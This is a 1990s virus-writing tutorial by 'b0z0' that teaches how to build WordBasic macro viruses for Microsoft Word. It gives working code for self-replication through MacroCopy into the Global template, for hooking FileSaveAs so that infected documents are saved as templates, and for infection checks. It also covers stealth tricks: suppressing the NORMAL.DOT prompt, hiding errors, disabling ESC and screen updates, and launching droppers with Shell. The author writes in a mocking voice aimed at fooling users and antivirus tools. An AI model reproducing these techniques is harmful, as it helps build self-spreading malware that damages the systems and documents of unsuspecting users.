home *** CD-ROM | disk | FTP | other *** search
- --------------------
- . Wordmacro Viruses .
- ---. by b0z0 .---
- ------------
-
-
- 1. Introduction
- ---------------
- In this last period the Wordmacro viruses became well known by any PC
- user. After the first succesful macro virus attempt (the Concept macro)
- many new techniques has been implemented in this type of virus
- programming. Macro viruses are really simple to build, because they are
- programmed in a quite simple programming language internal to Word (6.0
- or later) called Wordbasic. Using some lacks of security and some risky
- default options (that are also unconsidered by the tipical Word user :))
- the infection and spread can easily become truth. In general the most
- used AV products (i mean TSR utilities) doesn't care of DOC files,
- because they are never really executed. This is the mainly advantage of
- Wordmacros. Some guys also consider that Wordmacro viruses can be
- considered as a multiplatform product, but this, due to some lacks of
- Micro$oft work, isn't totally true.
-
-
- 2. How they work?
- -----------------
- All Word documents can contain near the text also a file called
- Template, which includes some specific definitions or macros (created
- with the included Word macro editing utilities) that can operate in a
- certain way on the text. This included macros can be also
- autoexecutable, this means that they can run at the moment while the
- document is loaded or can be executed on a determinate event. Word has
- some predefinited macros with reserved names, which starts on some
- specific operations like saving or opening a document. This
- predefinited stuff (with all others default page styles and so on) is
- located in the NORMAL.DOT template file. Creating a macro with one of
- the predefinited names will lead to execute something that we like at a
- specified event. The AutoExec macro for example is executed at the Word
- startup, the AutoOpen is executed at each document opening. So the
- general rule to do a takeover on the system is to replace some of the most
- used predifined macros with our virulent macros.
-
-
- 3.Creating a macro virus
- ------------------------
- So the first thing to do in our Wordmacro is to put our virus macros
- instead of the original ones when the infected document is opened. We
- can easily put in the AutoOpen macro some lines, that will copy our
- infecting routines on the right place in the main Word macro storage
- (this is called the Global template), when the document will be opened.
- For example if we want to copy our macro AutoClose in the Global template
- our AutoOpen macro will look like this:
-
-
- Sub main
- MacroCopy WindowName$()+":AutoClose", "Global:AutoClose" ,1
- End sub
-
-
- The Macrocopy commands in Wordbasic copies a macro (from a template) to
- another macro (in the same or in another template) With this we will replace
- the Autoclose macro in the Global template with our Autoclose from the
- current infected document (which name is given by the "WindowName$()"
- function). The final ",1" means that the macro is "Execute Only". This
- attribute won't let the user to read or modify the macro once that it
- was created. If we don't put the final "Execute Only" attribute any lamer
- will be able to change something in our virus or the user will notice
- that the macros aren't really of use to his work.
- A tipical Wordmacro virus will look for other more interesting
- predefinited macros. That would be cool, if we had the possibility to
- infect a document when it is being saved. To do this we can handle the
- FileSaveAs macro. We can put in it some code, that will put near the text
- that the user will save also our virulent macros. Like we told at the
- start of this section the add-on macros don't directly go to the DOC
- file, but to the template file (DOT). This isn't a very good thing,
- because like maybe you will notice, this will prevent us to infect other
- DOCs. This isn't true, because we can save anyway the user's work as a
- template and Word will at the next time load the saved file normally as it
- is a normal document. In this manner our macros will go around the world
- with the file with the extension .DOC, but definitely it will be only a
- template :) Let's see an example of a FileSaveAs macro:
-
-
- Sub Main
- Dim dbox As FileSaveAs 'we define which dialog box will appear
- GetcurValues dbox 'we inicialize and run the dialog box
- Dialog dbox
- Macrocopy "Global:AutoClose", WindowName$() + ":AutoClose" ,1
- Macrocopy "Global:FileSaveAs", WindowName$() + ":FileSaveAs" ,1
- dbox.Format = 1 'we are saving a template
- FileSaveAs dbox 'we finally save it
- End Sub
-
-
- In this example we copied two virulent macros (AutoClose and FileSaveAs)
- in the new file, which name was given by the user in the dialog box. We
- must of course first define the type of dialog box like a variable. If we
- was handling another macro (say FileOpen for example) we may use another
- dialog box depending on the macro (Dim dbox As FileOpen for example).
- After inicializing the dialog box with GetcurValues (general inicializing
- like directory where we stay, type and so on) we can finally display the
- dialog box simply running Dialog and putting the name (in our case dbox)
- of the just defined dialog box. Once copied our macros we defined that
- we were saving a template and finally called the old save routine.
- To implement our file infection macro we can also test, if the type of
- file we are saving is a DOC or a DOT. If the file is something other (for
- example the user is trying to save to a normal text file) it would be
- good not to copy the macros. To prevent this we can put a test after
- invoking the dialog box and test the dbox.Format. If the dbox.Format is
- equal to 0 then the user saved in a DOC file (and we can infect it of
- course transforming it in a template) and if the dbox.Format is equal to
- 1 the type is a template. In all the other cases the user selected
- something other, that we won't infect. So the test rutine after invoking
- the dialog box will be something like:
-
-
- If ((dbox.Format = 0) Or (dbox.Format=1)) then
- 'Infect them!
- End If
- FileSaveAs dbox
-
-
- Like for FileSaveAs we can for example try infecting on FileSave or on
- FileOpen (when a file is opened) or sometime else. This just depends from
- your taste.
- Now that we have put some of our routines in the Global template it
- would be good to write a macro, that will make our virus active when Word
- starts. This macro is named AutoExec and will appear very simillar to the
- AutoOpen macro. Infact in both cases we will only copy our macros instead
- of the original ones if they aren't already installed.
- Another important thing, while we are going resident or infecting a
- document, is to control if the template (the Global if we are just going
- resident or the file's template if we are infecting) is already infected
- by our virulent macros. Simply we can scan all the names of the
- installed macros and seek for one (of more) of our macros. This may look
- like this:
-
-
- For Cnt = 1 To CountMacros(0) 'we control all the macros in the Global
- If Macroname$(Cnt,0) = "OurNamedMacro" Then 'it is ours?
- Founded = 1 'we mark someway that we got it!
- EndIf
- Next Cnt
-
-
- Now we have put some good macros in the Global template. When a user
- will end his work and on a file and will exit from it, Word will
- automatically notice him that also the NORMAL.DOT (the Global template)
- has changed, asking you for a confirmation of saving. Of course this
- wouldn't be a very good stealth feature. To prevent this we can now
- write a macro, that will activate when we will exit from a file, that
- will deactivate the Yes/No prompting. The macro that we are looking for
- is the FileExit. To disable prompting we must just turn to zero a Word
- internal variable and then recall the old FileExit procedure. So the macro
- will be:
-
-
- Sub Main
- ToolsOptionsSave .GlobalDotPrompt = 0
- FileExit
- End Sub
-
-
- The ToolsOptionSave is the well known Save folder in the Tools menu in the
- submenu Option, where are defined the preferences on saving. In this case we
- just directly switched off in that menu the option that enables prompting
- for saving changes in NORMAL.DOT.
- Additionally in all our macros it would be very good to include the "On
- Error Goto" capability, that automatically call the function that is
- given it as a parameter on an error occurance (after a function call or
- more simply if there is a compatibility problem like we will see later).
- This is *very* important when writing macros that includes dialog boxes
- or interrupable jobs. Infact when a user press the Cancel button in any
- dialog box an error will be generated, telling to the user that the macro
- wasn't succesfully completed. With a small error handler we can hide
- these errors and let our macros to continue. For example:
-
-
- Sub Main
- On Error Goto NoGood
- ; put here ya macro
- ; ......
- ; end of the macro
- NoGood:
- ; do something else... for example only give again the control to the
- ; original function that the user was calling or just exit out of the
- ; macro
-
-
- Another very important Word option that must be set (to be as stealth as
- possible) is the Disableinput variable. Setting this to 1 will prevent
- the interruption of the macro with the ESC key. If you don't set this a
- user a little intelligent (duh... but if he was a little intelligent he
- wouldn't use Word ;) ) may press ESC during the execution of your macro
- (for example is you are writing to a file on the disk Word is halted for
- many seconds and he can notice the activity on the disk... but anyway
- under windoze the hard disk is always trashing ;))) ) for stopping it.
- What is worst is that if he stopped a macro with ESC he will receive a
- notice that the macro was succesfully stopped... not really a stealth
- feature ;)
- To continue with the stealth features (duh :) ) there is another
- Wordbasic command that may be useful to hide ourself. Infact if we set
- ScreenUpdate to 0 the document (or macro or everything :) ) will not be
- updated during the execution of the macro. This can be very useful if
- your macro also modifies something in the window with the text. To enable
- again screen updating just set the variable to 1.
- Maybe someone of you already noticed that the names of the functions
- that we call are basically the same as the full name in the Word menus.
- For example:
- FileSaveAs ; is the SaveAs command in menu File
- FileClose ; is the Close command in menu File
- ToolsOptions ; is the Options command in menu Tools
- ToolsOptionsSave ; is the Save folder in the Options command in
- ; the menu Tools
- So, all the commands of the menu File are precedded by a 'File' and so
- on. Just think what command do you want to hook, give a look to the help
- for the complete syntax and go write the macro :)
-
-
- 4.Handling files
- ----------------
- Aditionally in Wordbasic you can also manipulate any external file on
- your hard disk. There are a few important command commonly used. The
- first is Open that opens a file on the disk. There are three types of file
- opening:
-
-
- Open "C:\PADA.NIA" For Input As #1
- Open "C:\FOOBAR" For Output As #2
- Open "C:\GULLI.VER" For Append As #3
-
-
- With the first we open the file only for reading, in the second case for
- writing and in the last we open the file for appending data at the end
- of the existing file. Like you will see we must also assign a number to
- each file we open. Word can actually handle a maximum of 4 files (1-4).
- When we open a file for writing if the file doesn't exist Word will
- create one for us. When we want read from a file if it doesn't exist Word
- will give us an error (which can be easily handled with the already
- described error handler). This can be useful if we are checking is a file
- exist or not. Infact to see if a file is on the disk we can only open it
- for Input and if an error occours then the file doesn't exist (and maybe
- we are going to create it).
- After we succesfully opened a file (depending what we want to do) we
- can now write something to it with the Print or with the Write command
- (there is only a minor difference in the format between the two commands).
-
-
- Print #2, "Chauabunga"
-
-
- We can also read something from it using the Input$ function (or also the
- LineInput command if we are goin to read a line that is terminated with a
- CR-LF sequence):
-
-
- somechar$=Input$(20,#1) ;this will read 20 characters from the file #1
- Line Input #1, $our ;will put in the var $our the current line from #1
-
-
- When we have done all our operations on the file we finally can close it
- with a simple:
-
-
- Close #n ;closes file number 'n'
-
-
- There are also many other very useful commands that may be of use in our
- virulent macros (for example is very interesting the function Lof() which
- returns the lenght of a file in bytes, Kill() that deletes a file,
- SetAttr that changes the attributes of a file, GetAttr that takes the
- attributes of a file, Name to rename a file or a directory, File$ to
- search in the current directory some files with a pattern and so on)
- but of course i'm not going to talk about them all :) Just give a look
- to the help file for a more complete guide.
-
-
- 5.Executing Dos Commands
- ------------------------
- After the file handling with Wordbasic we can also execute any external
- Dos program and also some of the internal Dos commands. To execute and
- external program the syntax is very simple:
-
-
- Shell "C:\DROPPER.COM", $type
-
-
- After Shell we put the command that we would execute and the type (this
- isn't mandatory) of the window of the program that is being executed. The
- type can be a number from 0 to 4 where:
-
- 0 means that the window is minimized to an icon
- 1 means normal window
- 2 means like 0. this is put for compatibility with Excel
- 3 means big window
- 4 means inactive window
-
- And this is all about the execution of external programs. Now let's give
- a look to the Dos internal commands that Wordbasic support. Of course,
- using this will not be spawn a window, so the user won't notice
- absolutely anything. For example:
-
-
- Mkdir "C:\GPL"
- Shell "mkdir C:\GPL",0
-
-
- These final effect of this commands will be the same, but the second will
- spawn a new Dos shell for the execution of the command, and this maybe
- will alert the user. It will of course also use more PC resources.
- Here is a small list of very useful Dos internal commands supported by
- Wordbasic:
-
-
- Chdir "C:\FOO" ;changes current dir to C:\FOO
- Mkdir "C:\WINSLOTH" ;creates the directory C:\WINSLOTH
- Rmdir "C:\W1NL0SE" ;deletes the C:\W1NL0SE directory
- path$=Environ$("PATH") ;puts in path$ the current PATH
- Filecopy ..... ;to copy a file
-
-
- and so on... :)
-
- 6. Other Stuff
- --------------
- Apart from this you can also do many other useful things with the
- Wordbasic language. There is a full set of arithmetic operators and
- functions for example. Commands to determine many things of a machine
- (like language, cpu, mem) are also avaiable. The handling of the WIN.INI
- config file is also a good optional :) as in other high level languages
- the manipulation of strings is fully implemented.
-
- 7. Multiplatform features
- -------------------------
- One of the worst things of the Wordmacro viruses is the portability.
- Infact a Wordmacro virus written using the english set of commands won't
- work with the swedish version. Word will notice to the user that there
- are some macros that are using unknown commands. Infact all of the names
- of the menus are different. The FileClose of the english Word is for
- example FileChiudi in the italian and DataiBeended in the german version.
- That's simply because the names that are present into the menus are
- different from version to version.
-
- 8. A real threath?
- ------------------
- There is really simple to protect yourself from being infected. You can
- just disable the automatic execution of the macros. So Wordmacros can't
- be absolutely considered a real threath. Anyway the Wordbasic language is
- fun and has _a lot_ of interesting commands that can be used.
- Definitely Wordmacros are nice for us to have a little of fun, as usual
- in our work :)
-